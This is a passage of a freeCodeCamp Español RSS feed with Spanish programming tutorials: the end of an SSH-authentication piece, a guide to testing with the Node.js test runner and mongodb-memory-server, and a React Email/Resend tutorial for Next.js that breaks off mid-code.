loading="lazy"></figure><p>La imagen de arriba es del cómic popular xkcd. El personaje allí (llamado Cueball) está pensando en revelar su clave privada. Espero que ahora sepas por qué está mal revelar tu clave privada.</p><p>Si revelas tu clave privada entonces alguien más puede autenticarse a Github en tu nombre. No quieres que eso suceda, ¿verdad? ;)</p><p>Así que, siempre asegúrate de mantener tu clave privada para ti mismo nada más.</p><!--kg-card-begin: html--><h2 id="resumiendo-todo">Resumiendo Todo</h2><!--kg-card-end: html--><p>Si has llegado hasta acá, entonces felicitaciones 🥳.</p><p>Has aprendido como funciona en realidad la autenticación SSH – cuando la firma fue verificado exitosamente por Github, le confirma a Github que somos nosotros quienes le estamos hablando, no un atacante.</p><p>A lo largo adquiriste una comprensión fundamental de la encriptación de clave simétrica, encriptación de clave asimétrica, funciones hash criptográficas y firmas digitales.</p><p>Gracias por estar conmigo en esta, espero que te vayas con algunos nuevos y valiosos aprendizajes.</p><p>Pongo ideas y recursos útiles en mi Twitter. <a href="https://twitter.com/vkwebdev"><strong>Deberías seguirme allí</strong></a>. Respetaré tu tiempo.</p> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Cómo escribir Pruebas usando el Ejecutor de Pruebas de Node.js y mongodb-memory-server ]]>
                </title>
                <description>
                    <![CDATA[ Recientemente migré algunas pruebas de Jest al ejecutor de pruebas de Node.js en dos de mis proyectos que usan MongoDB. En uno de esos proyectos, el tiempo de ejecución de las pruebas fue reducido de 107 segundos a 25 segundos (captura de pantalla abajo). En el otro proyecto, el tiempo ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/como-escribir-pruebas-usando-el-ejecutor-de-pruebas-de-node-js-y-mongodb-memory-server/</link>
                <guid isPermaLink="false">67bd1d95f9cd6804c5816fa9</guid>
                
                    <category>
                        <![CDATA[ nodejs ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Node ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Node.js ]]>
                    </category>
                
                    <category>
                        <![CDATA[ MongoDB ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Mongo ]]>
                    </category>
                
                    <category>
                        <![CDATA[ pruebas unitarias ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Tue, 15 Apr 2025 14:27:15 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2025/02/Captura-desde-2025-02-24-22-33-31.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p data-test-label="translation-intro">
        <strong>Artículo original:</strong> <a href="https://www.freecodecamp.org/news/how-to-write-tests-using-the-nodejs-test-runner-and-mongodb-memory-server/" target="_blank" rel="noopener noreferrer" data-test-label="original-article-link">How to Write Tests Using the Node.js Test Runner and mongodb-memory-server</a>
      </p><p>Recientemente migré algunas pruebas de Jest al ejecutor de pruebas de Node.js en dos de mis proyectos que usan MongoDB. En uno de esos proyectos, el tiempo de ejecución de las pruebas fue reducido de 107 segundos a 25 segundos (captura de pantalla abajo). En el otro proyecto, el tiempo de ejecución de las pruebas fue reducido cerca de un 66%.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738830673460/1560f7a3-38c1-42f3-8944-df06b40d73e4.png" class="kg-image" alt="76% reduction in time taken to run tests in Jest vs Node.js test runner" width="560" height="478" loading="lazy"></figure><p>Decidí compartirte cómo pude implementarlo. Pienso que te será de utilidad, ya que es más rentable (en términos de reducir dinero gastado en ejecutar pruebas en CI/CD), y también mejora tu experiencia de desarrollo.</p><h2 id="tabla-de-contenidos"><strong>Tabla de Contenidos</strong></h2><ul><li><a href="#pre-requisitos">Pre-requisitos</a></li><li><a href="#ejecutor-pruebas-nodejs">El Ejecutor de Pruebas de Node.js</a></li><li><a href="#servidor-memoria-mongodb">El Servidor en memoria de MongoDB</a></li></ul><!--kg-card-begin: markdown--><ul>
<li><a href="#como-escribir-pruebas">Cómo escribir las Pruebas</a>
<ol>
<li><a href="#configurar-proyecto">Configurar el Proyecto</a></li>
<li><a href="#configurar-esquema-mongoose">Configurar el Esquema de Mongoose</a></li>
<li><a href="#configurar-servicios">Configurar los Servicios</a></li>
<li><a href="#configurar-pruebas">Configurar las Pruebas</a></li>
<li><a href="#escribir-pruebas">Escribir las Pruebas</a></li>
<li><a href="#pasar-pruebas">Pasar las Pruebas</a></li>
<li><a href="#usa-typescript-opcional">Usar TypeScript (Opcional)</a></li>
</ol>
</li>
</ul>
<!--kg-card-end: markdown--><ul><li><a href="#conclusion">Conclusión</a></li></ul><!--kg-card-begin: html--><h2 id="pre-requisitos">Pre-requisitos</h2><!--kg-card-end: html--><p>Para seguir esta guía, deberías de tener experiencia trabajando con Node.js, MongoDB y Mongoose (o cualquier otro mapeador de datos de objetos de MongoDB). Deberías también tener instalado Node.js (al menos la versión 20.18.2) y MongoDB (Compass la versión GUI) en tu computadora.</p><!--kg-card-begin: html--><h2 id="ejecutor-pruebas-nodejs">El Ejecutor de Pruebas de Node.js</h2><!--kg-card-end: html--><p>El ejecutor de pruebas de Node.js fue introducido como una característica experimental en la versión 18 de Node.js. Se volvió disponible oficialmente en la versión 20. Te da la habilidad de:</p><ol><li>Ejecutar pruebas</li><li>Reportar resultados de las pruebas</li><li>Reportar cobertura de las pruebas (todavía experimental en la versión 23)</li></ol><p>Es una buena idea el usar el ejecutor de pruebas incorporado cuando se escriban pruebas en Node.js porque significa que tienes que usar menos dependencias externas. No necesitas instalar una librería externa (y sus dependencias entre pares) para ejecutar las pruebas.</p><p>El mejor ejecutor incorporado también es el más rápido. Basado en mi experiencia usándolo en dos proyectos (los cuales usaron Jest), vi mejoras de al menos una reducción del 66% en el tiempo que tomó ejecutar las pruebas completamente.</p><p>Y a diferencia de otros frameworks o librerías de pruebas, el ejecutor de pruebas de Node.js fue construido especialmente para proyectos de Node.js. No trata de acomodar las especificaciones de otros entornos de programación como el navegador. Las especificaciones de Node.js son su principal y única prioridad.</p><!--kg-card-begin: html--><h2 id="servidor-memoria-mongodb">El Servidor en memoria de MongoDB</h2><!--kg-card-end: html--><p>Para las pruebas que involucran el hacer peticiones a una base de datos, algunos desarrolladores prefieren imitar las peticiones para evitar hacer peticiones a una base de datos real. Hacen esto porque hacer una petición a una base de datos real requiere un montón de configuraciones que puede costar tiempo y recursos.</p><p>Escribir y solicitar datos usando una base de datos real es más lento <a href="https://www.mongodb.com/resources/basics/databases/in-memory-database">comparado con escribir y solicitar datos de la memoria</a>. Cuando se ejecutan pruebas automatizadas, usando un servidor de MongoDB real será más lento que usar un servidor de base de datos en memoria, y ahí es donde <a href="https://github.com/typegoose/mongodb-memory-server">mongodb-memory-server</a> se vuelve útil.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738832586702/62360547-70e8-4e74-854f-c7ad74d182ea.png" class="kg-image" alt="Comparison between memory and database communication with CPU" width="631" height="256" loading="lazy"></figure><p>Según su documentación, mongodb-memory-server crea y comienza un servidor de MongoDB real de forma programática desde dentro de Node.js, pero usa una base de datos en memoria por defecto. También te permite conectar el servidor de base de datos que crea usando tu mapeador de datos de objetos preferido tales como Mongoose, Prisma, o TypeORM. En esta guía, usaremos <a href="https://mongoosejs.com/">Mongoose</a> (v.8.9.6).</p><p>Ya que los datos almacenados por mongodb-memory-server reside en la memoria por defecto, es más rápido leer y escribir en él que cuando se usa una base de datos real. mongodb-memory-server también es más fácil de configurar. Estos beneficios lo hace una buena elección para usarlo como un servidor de base de datos para escribir pruebas.</p><p><strong>Nota</strong>: asegúrate de instalar la versión 9.1.6 de mongodb-memory-server para seguir esta guía. La versión 10 actualmente tiene problemas con limpiar los recursos después que se hacen las pruebas. Mira este problema con el título "<a href="https://github.com/typegoose/mongodb-memory-server/issues/912">Node forking will include any <code>--import</code> from the original command</a>".</p><p>El problema ha sido resuelto al tiempo de escribir este artículo, pero el arreglo no ha sido fusionado para las instalaciones.</p><!--kg-card-begin: html--><h2 id="como-escribir-pruebas">Cómo escribir las Pruebas</h2><!--kg-card-end: html--><p>Ahora te guiaré a través de los siguientes pasos para que comiences a escribir las pruebas:</p><ol><li>Configurar el proyecto</li><li>Configurar el esquema de Mongoose</li><li>Configurar los servicios</li><li>Configurar las pruebas</li><li>Escribir las pruebas</li><li>Pasar las pruebas</li><li>Usa TypeScript (Opcional)</li></ol><!--kg-card-begin: html--><h3 id="configurar-proyecto">1. Configurar el Proyecto</h3><!--kg-card-end: html--><p>Creé un repositorio de Github para facilitarte que sigas esta guía. Clona este repositorio en <a href="https://github.com/orimdominic/nodejs-test-runner-mongoose">nodejs-test-runner-mongoose</a> y dirígete a la rama <code>01-setup</code>. </p><p>En <code>01-setup</code>, las dependencias para el proyecto están el archivo <code>package.json</code>. Instala las dependencias usando el comando <code>npm install</code> para configurar el proyecto. Asegúrate de que la configuración esté completa y correcta, ejecuta el comando <code>node .</code> en la terminal de tu proyecto. Deberías ver tu versión de Node.js &nbsp;como una salida en la terminal.</p><pre><code class="language-bash"># instala las dependencias
npm install
...
# ejecuta el comando node
node .
# la salida
You are running Node.js v22.13.1
</code></pre><!--kg-card-begin: html--><h3 id="configurar-esquema-mongoose">2. Configurar el Esquema de Mongoose</h3><!--kg-card-end: html--><p>Configuraremos el esquema para dos colecciones (Task y User) en la rama <code>02-setup-schema</code> usando Mongoose. Los archivos <code>task/model.mjs</code> y <code>user/model.mjs</code> contienen el esquema para las colecciones Task y User, respectivamente. También configuraremos una conexión de base de datos en <code>index.mjs</code> para asegurar que la configuración del esquema funcione correctamente.</p><p>No iré en detalle sobre los modelos y esquemas de Mongoose en este artículo porque están fuera de su alcance.</p><p>Cuando ejecutas el comando <code>node .</code> después de implementar los cambios en <code>02-setup-schema</code>, deberías de ver un resultado similar en la consola como en el fragmento de abajo:</p><pre><code class="language-bash">node .
You are running Node.js v22.13.1
Created user with id 679f1d7f73fbeaf23b2007df
Created task "Task title" for user with id "679f1d7f73fbeaf23b2007df"
</code></pre><p>Puedes ver las diferencias entre <code>01-setup</code> y <code>02-setup-schema</code> a través de la <a href="https://github.com/orimdominic/nodejs-test-runner-mongoose/compare/01-setup...02-setup-schema">diferencia 01-setup &lt;&gt; 02-setup-schema en Github</a>. </p><!--kg-card-begin: html--><h3 id="configurar-servicios">3. Configurar los Servicios</h3><!--kg-card-end: html--><p>Luego, creamos los archivos de servicio (<code>task/service.mjs</code> y <code>user/service.mjs</code>) en la rama <code>03-setup-services</code>. Ambos archivos actualmente contienen funciones vacías en el que escribiremos las pruebas más tarde. Estas funciones contendrán la lógica de negocio y también se comunicará con la base de datos. Estamos usando comentarios de <a href="https://jsdoc.app/">JSDoc</a> para escribir parámetros y regresar valores.</p><p>Haz clic en la <a href="https://github.com/orimdominic/nodejs-test-runner-mongoose/compare/01-setup...02-setup-schema">diferencia de 02-setup-schema &lt;&gt; 03-setup-services</a> para ver los cambios de código entre <code>02-setup-schema</code> y <code>03-setup-services</code>.</p><!--kg-card-begin: html--><h3 id="configurar-pruebas">4. Configurar las Pruebas</h3><!--kg-card-end: html--><p>En la rama <code>04-set-up-tests</code>, configuramos la base de código para ejecutar las pruebas. Creamos <code>test.setup.mjs</code> el cual contiene el código que será ejecutado antes de que cada archivo de prueba se ejecute.</p><p>En <code>test.setup.mjs</code>, la función <code>connect</code> crea un servidor de MongoDB en memoria y lo conecta con Mongoose para ejecutar las pruebas. La función <code>closeDatabase</code> cierra la conexión de la base de datos y limpia todos los recursos para liberar memoria.</p><p>Las funciones <code>connect</code> y <code>closeDatabase</code> se ejecutan en el hook <code>t.before</code> y en el hook <code>t.after</code> respectivamente. Esto asegura eso, antes que un archivo test se ejecute, una conexión de base de datos se establece a través <code>t.before</code>. Luego de que se hayan ejecutado las pruebas del archivo, la conexión de la base de datos se cae y los recursos usados se limpian a través de <code>t.after</code>.</p><p>En <code>package.json</code>, actualizaremos el script de npm <code>test</code> a <code>node --test --import ./test.setup.mjs</code>. Este comando asegura que Módulo Es <code>test.setup.mjs</code> se pre-cargue y se ejecute a través del comando <code>--import</code> del CLI antes de que cada archivo de prueba se ejecute.</p><p>Luego crearemos los archivos de prueba con pruebas vacías en las carpetas <code>__tests__</code> para <code>user</code> y <code>task</code>. Después de implementar los <a href="https://github.com/orimdominic/nodejs-test-runner-mongoose/compare/03-setup-services...04-set-up-tests">nuevos cambios en 04-set-up-tests</a>, ejecutar el script <code>test</code> con <code>npm run test</code> debería de mostrar la salida similar al fragmento de abajo:</p><pre><code class="language-bash">npm run test

&gt; nodejs-test-runner-mongoose@1.0.0 test
&gt; node --test --import ./test.setup.mjs

...

ℹ tests 8
ℹ suites 5
ℹ pass 8
ℹ fail 0
ℹ cancelled 0
ℹ skipped 0
ℹ todo 0
ℹ duration_ms 941.768873
</code></pre><p>Todas las pruebas actualmente pasan porque no hay aserciones que fallen. Escribiremos las pruebas con aserciones en la siguiente sección.</p><!--kg-card-begin: html--><h3 id="escribir-pruebas">5. Escribir Pruebas</h3><!--kg-card-end: html--><p>Ahora es tiempo de escribir las pruebas para las funciones en los archivos de service en la rama <code>05-write-tests</code>. Estamos usando la librería de aserción de Node.js para asegurar que los valores regresados de las funciones sean lo que esperamos. Puedes ver las pruebas que hemos escrito cuando comparas <a href="https://github.com/orimdominic/nodejs-test-runner-mongoose/compare/04-set-up-tests...05-write-tests">las diferencias entre 04-set-up-tests y 05-write-tests</a>.</p><p>Cuando el script <code>tests</code> se ejecute, todas las pruebas fallan porque no hemos escritos las funciones en los archivos de service todavía. Debería de ver una salida similar al fragmento de abajo cuando ejecutes el script <code>test</code>:</p><pre><code class="language-bash">npm run test

&gt; nodejs-test-runner-mongoose@1.0.0 test
&gt; node --test --import ./test.setup.mjs

...

ℹ tests 8
ℹ suites 5
ℹ pass 0
ℹ fail 8
ℹ cancelled 0
ℹ skipped 0
ℹ todo 0
ℹ duration_ms 1202.031961
</code></pre><!--kg-card-begin: html--><h3 id="pasar-pruebas">6. Pasar las Pruebas</h3><!--kg-card-end: html--><p>En <code>06-pass-tests</code>, escribimos las funciones en los archivos de service que pasen las pruebas. Solamente 6 de 7 pruebas pasan cuando el script <code>test</code> se ejecuta porque salteamos la prueba para la función <code>getById</code> en <code>user/service.mjs</code> con <code>t.skip</code>. No hemos terminado la función <code>getById</code> en <code>user/service.mjs</code>. Supuse que podríamos dejarlo como ejercicio.</p><p>Cuando ejecutas el script <code>test</code>, deberías obtener una salida similar en la terminal como el de abajo:</p><pre><code class="language-bash">ℹ tests 7
ℹ suites 4
ℹ pass 6
ℹ fail 0
ℹ cancelled 0
ℹ skipped 1
ℹ todo 0
ℹ duration_ms 1287.564918
</code></pre><p>Puedes ver el código que escribimos para pasar las pruebas en los <a href="https://github.com/orimdominic/nodejs-test-runner-mongoose/compare/05-write-tests...06-pass-tests">cambios de código entre 05-write-tests y 06-pass-tests</a>.</p><!--kg-card-begin: html--><h3 id="usa-typescript-opcional">7. Usa TypeScript (Opcional)</h3><!--kg-card-end: html--><p>Si tu intención es ejecutar las pruebas con TypeScript, puedes cambiar a la rama <code>07-with-typescript</code>. Necesitas tener Node.js <code>&gt;=22.6.0</code> instalado porque estamos usando la opción <code>--experimental-strip-types</code> en el <code>test</code>. Para configurar las pruebas que se ejecuten con TypeScript, sigue los siguientes pasos:</p><ol><li>Instala TypeScript usando el comando <code>npm install typescript --save-dev</code> </li><li>Instala tsx usando el comando <code>npm install tsx</code></li><li>Crea un archivo predeterminado <code>tsconfig.json</code> en la raíz del proyecto usando el comando <code>npx tsc --init</code> </li></ol><p>En &nbsp;<code>package.json</code>, actualiza el script <code>test</code> a esto:</p><pre><code class="language-bash">"test": "node --test --experimental-strip-types --import tsx --import ./test.setup.mjs"
</code></pre><ul><li><a href="https://nodejs.org/docs/latest-v22.x/api/cli.html#--experimental-strip-types"><code>--experimental-strip-types</code></a> ayuda a eliminar tipos antes de cada archivo de prueba se ejecute.</li></ul><p>Pre-cargar <code>tsx</code> con el <code>--import</code> ayuda a ejecutar el archivo de TypeScript. Sin él, el ejecutor de pruebas no será capaz de encontrar archivos importados sin la extensión <code>.ts</code>. Por ejemplo, <code>user/model.ts</code> importado con el fragmento de código de abajo no será encontrado.</p><pre><code class="language-typescript">  import { UserModel } from "./model";
</code></pre><p>El resto de los <a href="https://github.com/orimdominic/nodejs-test-runner-mongoose/compare/06-pass-tests...07-with-typescript">cambios desde 06-pass-tests a 07-with-typescript</a> involucran actualizar los tipos, cambiar las extensiones de archivo de <code>.mjs</code> a <code>.ts</code> y actualizar las declaraciones import.</p><!--kg-card-begin: html--><h2 id="conclusion">Conclusión</h2><!--kg-card-end: html--><p>En esta guía, has aprendido cómo usar el ejecutor de pruebas incorporado de Node.js y por qué es frecuentemente una mejor elección sobre otras librerías y frameworks de pruebas. También has aprendido cómo usar mongodb-memory-server como un reemplazo de un servidor real de MongoDB, así también como por qué es una buena idea usarlo en vez de un servidor real de MongoDB para las pruebas.</p><p>Lo más importante, has aprendido cómo configurar y ejecutar las pruebas en Node.js usando el ejecutor de pruebas de Node.js y mongodb-memory-server. Ahora deberías de saber cómo configurar tus proyectos para que ejecuten las pruebas si usas TypeScript.</p><p>Si encuentras útil a este repositorio <a href="https://github.com/orimdominic/nodejs-test-runner-mongoose">nodejs-test-runner-mongoose</a>, por favor dale una estrella. Me anima mucho. Gracias.</p> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Cómo crear y enviar Plantillas de Email usando React Email y Resend en Next.js ]]>
                </title>
                <description>
                    <![CDATA[ Las aplicaciones modernas de Software frecuentemente se basan en comunicación por email para interactuar con los usuarios. Podrían enviar códigos de autenticación durante intentos de inicio de sesión, emails de marketing, o boletines informativos, por ejemplo. Esto significa que las notificaciones de email son típicamente el medio más común de ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/como-crear-y-enviar-plantillas-de-email-usando-react-email-y-resend-en-next-js/</link>
                <guid isPermaLink="false">67cf85b759617604dd901b87</guid>
                
                    <category>
                        <![CDATA[ next.js ]]>
                    </category>
                
                    <category>
                        <![CDATA[ NextJS ]]>
                    </category>
                
                    <category>
                        <![CDATA[ React ]]>
                    </category>
                
                    <category>
                        <![CDATA[ resend ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Tue, 15 Apr 2025 14:26:02 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2025/03/3450a9b3-e740-4362-b0ab-0269646e725c.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Las aplicaciones modernas de Software frecuentemente se basan en comunicación por email para interactuar con los usuarios. Podrían enviar códigos de autenticación durante intentos de inicio de sesión, emails de marketing, o boletines informativos, por ejemplo. Esto significa que las notificaciones de email son típicamente el medio más común de comunicación con los usuarios.</p><p>En este tutorial, aprenderás cómo diseñar plantillas asombrosas de email con <a href="https://react.email/docs/introduction">React Email</a> y enviarlos usando <a href="https://resend.com/docs/send-with-nextjs">Resend</a> – una potente plataforma API de correo electrónico. </p><h2 id="pre-requisitos"><strong>Pre-requisitos</strong></h2><p>Para aprovechar lo máximo de este tutorial, deberías tener un entendimiento básico de React o Next.js.</p><p>También haremos uso de las siguientes herramientas:</p><ul><li>React Email: Una librería que te permite crear plantillas de email diseñadas hermosamente usando componentes de React.</li><li>Resend: Una poderosa y sencilla plataforma API para enviar emails desde tus aplicaciones.</li></ul><h2 id="c-mo-construir-la-aplicaci-n-con-next-js"><strong>Cómo construir la Aplicación con Next.js</strong></h2><p>En esta sección, crearás una aplicación sencilla de soporte de cliente. La aplicación incluirá un formulario para usuarios para enviar sus solicitudes, el cual dispara una notificación de email confirmando que un ticket de soporte ha sido creado.</p><p>Para comenzar, primero configuraremos la interfaz de usuario y un endpoint de la API.</p><p>Ejecuta el siguiente comando para crear un nuevo proyecto de Next.js con TypeScript:</p><pre><code class="language-bash">npx create-next-app react-email-resend
</code></pre><p>Actualiza el archivo <code>app/page.tsx</code> para renderizar un formulario que recoge los detalles del cliente, incluyendo su nombre completo, la dirección de email, el asunto del ticket, y un mensaje con detalles describiendo el problema. Cuando el formulario se envía, los datos son registrados a la consola usando la función <code>handleSubmit</code>.</p><pre><code class="language-typescript">"use client";
import support from "@/app/images/support.jpg";
import { useState } from "react";
import Image from "next/image";

export default function Page() {
    //👇🏻 estados de las entradas
    const [name, setName] = useState&lt;string&gt;("");
    const [email, setEmail] = useState&lt;string&gt;("");
    const [subject, setSubject] = useState&lt;string&gt;("");
    const [content, setContent] = useState&lt;string&gt;("");

    const handleSubmit = async (e: React.FormEvent) =&gt; {
        e.preventDefault();
        //👇🏻 registra las entradas del usuario
        console.log({ name, email, subject, content });
    };
return ({/** -- elementos de UI -- */})
}
</code></pre><p>Regresa los elementos UI del formulario que aceptan el nombre completo del usuario, la dirección de email, asunto del ticket, y un mensaje con los detalles describiendo el problema.</p><pre><code class="language-typescript">    return (
        &lt;main className='w-full min-h-screen flex items-center justify-between'&gt;
                &lt;form className='w-full' onSubmit={handleSubmit}&gt;
                    &lt;label htmlFor='name' className='opacity-60'&gt;
                        Full Name
                    &lt;/label&gt;
                    &lt;input
                        type='text'
                        className='w-full px-4 py-3 border-[1px] mb-3 border-gray-300 rounded-sm'
                        id='name'
                        required
                        value={name}
                        onChange={(e) =&gt; setName(e.target.value)}
                    /&gt;

                    &lt;label htmlFor='email' className='opacity-60'&gt;
                        Email Address
                    &lt;/label&gt;
                    &lt;input
                        type='email'
                        className='w-full px-4 py-3 border-[1px] mb-3 border-gray-300 rounded-sm'
                        id='email'
                        value={email}
                        onChange={(e) =&gt; setEmail(e.target.value)}
                        required
                    /&gt;

                    &lt;label htmlFor='subject' className='opacity-60'&gt;
                        Subject
                    &lt;/label&gt;
                    &lt;input
                        type='text'
                        className='w-full px-4 py-3 border-[1px] mb-3 border-gray-300 rounded-sm'
                        id='subject'
                        value={subject}
                        onChange={(e) =&gt; setSubject(e.target.value)}
                        required
                    /&gt;

                    &lt;label htmlFor='message' className='opacity-60'&gt;
                        Message
                    &lt;/label&gt;
                    &lt;textarea
                        rows={7}
                        className='w-full px-4 py-3 border-[1px] mb-3 border-gray-300 rounded-sm'
                        id='message'
                        required
                        value={content}
                        onChange={(e) =&gt; setContent(e.target.value)}
                    /&gt;

                    &lt;button className='w-full bg-blue-500 py-4 px-3 rounded-md font-bold text-blue-50'&gt;
                        SEND MESSAGE
                    &lt;/button&gt;
                &lt;/form&gt;
            &lt;/div&gt;
        &lt;/main&gt;
    );
</code></pre><p>Aquí está la página resultante del componente:</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733748196715/703e7e5b-f868-45e6-b62f-64a2d6dd279e.png" class="kg-image" alt="The Page component renders a form that accepts the user's input" width="2560" height="1420" loading="lazy"></figure><p>Luego, crea un endpoint de la API (<code>/api/route.ts</code>) que acepta las entradas del cliente.</p><pre><code class="language-bash">cd app
mkdir api &amp;&amp; cd api
touch route.ts
</code></pre><p>Copia el siguiente código en el archivo <code>api/route.ts</code>. El endpoint de la API registra la entrada del cliente a la consola después de recibirla.</p><pre><code class="language-typescript">import { NextRequest, NextResponse } from "next/server";

export async function POST(req: NextRequest) {
    const { name, email, subject, content } = await req.json();
    //👇🏻 registra los contenidos
    console.log({ name, email, subject, content });
    return NextResponse.json({
        message: "Email enviado con éxito",
        data,
 });
}
</code></pre><p>Actualiza la función <code>handleSubmit</code> para enviar los datos del cliente al endpoint de la API y regresa la respuesta JSON:</p><pre><code class="language-typescript">const handleSubmit = async (e: React.FormEvent) =&gt; {
    e.preventDefault();

    try {
        const response = await fetch("/api", {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
            },
            body: JSON.stringify({ name, email, subject, content }),
        });
        const data = await response.json();
        alert(data.message);
    } catch (error) {
        console.error(error);
        alert("Un error ocurrió, por favor intenta nuevamente más tarde");
    }
    setName("");
    setEmail("");
    setSubject("");
    setContent("");
};
</code></pre><p>¡Felicidades! Has configurado la colección de datos y el envío. En las próximas secciones, te mostraré cómo crear y enviar plantillas de email con React Email y Resend.</p><h2 id="c-mo-crear-plantillas-de-email-usando-react-email"><strong>Cómo crear Plantillas de Email usando React Email</strong></h2><p>React Email te permite construir y enviar componentes de email usando React y TypeScript. Soporta múltiples clientes de email, incluyendo Gmail, Mail de Yahoo, Outlook, y Mail de Apple.</p><p>React Email también provee múltiples <a href="https://react.email/components">componentes UI</a> que te permiten personalizar las plantillas de email según tu diseño preferido usando componentes de React JSX/TSX.</p><p>Instala el paquete React Email y sus componentes al ejecutar el fragmento de código de abajo:</p><pre><code class="language-bash">npm install react-email -D -E
npm install @react-email/components -E
</code></pre><p>Incluye este escript en tu archivo <code>package.json</code>. Dirige a React Email a dónde están localizados las plantillas de email en tu proyecto.</p><pre><code class="language-json">  "scripts": {
    "email": "email dev --dir src/emails"
  },
</code></pre><p>Una de las características de React Email es la habilidad de pre-visualizar tu plantilla de email en tu navegador durante el desarrollo, permitiéndote ver cómo aparecerá en el email del receptor.</p><p>Así que luego, crea una carpeta <code>emails</code> que contenga un archivo <code>TicketCreated.tsx</code> dentro de la carpeta <code>src</code> de Next.js y copia el siguiente fragmento de código en el archivo:</p><pre><code class="language-typescript">import * as React from "react";
import {
    Body,
    Container,
    Head,
    Heading,
    Hr,
    Html,
    Link,
    Preview,
    Text,
    Tailwind,
} from "@react-email/components";

interface TicketCreatedProps {
    username: string;
    ticketID: string;
}

const baseUrl = process.env.VERCEL_URL || "http://localhost:3000";
</code></pre><p>En el fragmento de código de arriba, importamos los componentes necesarios para construir la plantilla de email.</p><p>Luego, agrega el componente <code>TicketCreated</code> al archivo para renderizar la plantilla de email usando los <a href="https://react.email/components">componentes de React Email</a>.</p><pre><code class="language-typescript">export const TicketCreated = ({ username, ticketID }: TicketCreatedProps) =&gt; {
    return (
        &lt;Html&gt;
            &lt;Head /&gt;
            &lt;Preview&gt;Email de Confirmación del Ticket de Soporte 🎉&lt;/Preview&gt;
            &lt;Tailwind&gt;
                &lt;Body className='bg-white my-auto mx-auto font-sans px-2'&gt;
                    &lt;Container className='border border-solid border-[#eaeaea] rounded my-[40px] mx-auto p-[20px] max-w-[465px]'&gt;
                        &lt;Heading className='text-black text-[24px] font-normal text-center p-0 my-[30px] mx-0'&gt;
                            Tu Ticket ha sido creado
                        &lt;/Heading&gt;
                        &lt;Text className='text-black text-[14px] leading-[24px]'&gt;
                        Hola {username},
                        &lt;/Text&gt;
                        &lt;Text className='text-black text-[14px] leading-[24px]'&gt;
                            &lt;strong&gt;El Ticket de Soporte&lt;/strong&gt; (&lt;Link href={`${baseUrl}/ticket/${ticketID}`} className='text-blue-600 no-underline'&gt;{`#${ticketID}`}&lt;/Link&gt;) ha sido creado con éxito.
                        &lt;/Text&gt;

                        &lt;Text className='text-black text-[14px] leading-[24px]'&gt;El Equipo de Soporte revisará tu ticket y volverán contigo en breve.
                        &lt;/Text&gt;

                        &lt;Hr className='border border-solid border-[#eaeaea] my-[26px] mx-0 w-full' /&gt;
                        &lt;Text className='text-[#666666] text-[12px] leading-[24px]'&gt;Este mensaje estaba dirigido a {" "} &lt;span className='text-black'&gt;{username}&lt;/span&gt;. Si no creaste este ticket, por favor ignora este email.
                        &lt;/Text&gt;
                    &lt;/Container&gt;
                &lt;/Body&gt;
            &lt;/Tailwind&gt;
        &lt;/Html&gt;
    );
};
</code></pre><p>Finalmente, expórtalo y agrega un valor predeterminado para las props:</p><pre><code class="language-typescript">TicketCreated.PreviewProps = {
    username: "alanturing",
    ticketID: "9083475",
} as TicketCreatedProps;

export default TicketCreated;
</code></pre><p>Ejecuta <code>npm run email</code> en tu terminal para pre-visualizar la plantilla de email.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733752824765/6c5e1518-fc85-4d79-bd05-f4a2c2381976.png" class="kg-image" alt="6c5e1518-fc85-4d79-bd05-f4a2c2381976" width="2553" height="1276" loading="lazy"></figure><p>Esta plantilla de email notifica a los clientes que su ticket de soporte ha sido creado y que alguien del equipo de soporte se comunicarán con ellos.</p><p>React Email ofrece una variedad de plantillas de email pre-diseñada, facilitando el crear email con estilos hermosos para distintos propósitos. Puedes revisar el <a href="https://demo.react.email/preview/notifications/vercel-invite-user">demo disponible para ver ejemplos</a> de lo que es posible.</p><h2 id="c-mo-enviar-emails-con-resend"><strong>Cómo enviar Emails con Resend</strong></h2><p>Resend es una API de email sencilla que te permite enviar emails dentro de tu aplicación de software. Soporta un montón de lenguajes de programación, incluyendo JavaScript (Next.js, Express, Node.js), Python, PHP, Go, and Rust, entre otros.</p><p>Resend y React Email pueden ser fácilmente integrados juntamente ya que el co-fundador de Resend, <a href="https://github.com/bukinoshita">Bu Kinoshita</a>, es también el creador de React Email.</p><p>Crea una cuenta en <a href="https://resend.com/docs/send-with-nextjs">Resend</a>. Una vez que iniciaste sesión, navega hacia la sección de claves de API en tu panel y copia tu clave de API en un archivo <code>.env.local</code>.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733753483127/4a289abc-b7e5-4c81-b7ee-e8f084354fae.png" class="kg-image" alt="4a289abc-b7e5-4c81-b7ee-e8f084354fae" width="2560" height="1384" loading="lazy"></figure><pre><code class="language-bash">//👇🏻 archivo .env.local 
RESEND_API_KEY=&lt;RESEND_API_KEY&gt;
</code></pre><p>Actualiza el endpoint de la API para enviar un email usando la plantilla de React Email, como se muestra abajo:</p><pre><code class="language-typescript">import { NextRequest, NextResponse } from "next/server";
//👇🏻 función generado del ID del boleto
import { v4 as generateID } from "uuid";
//👇🏻 importa la plantilla de email
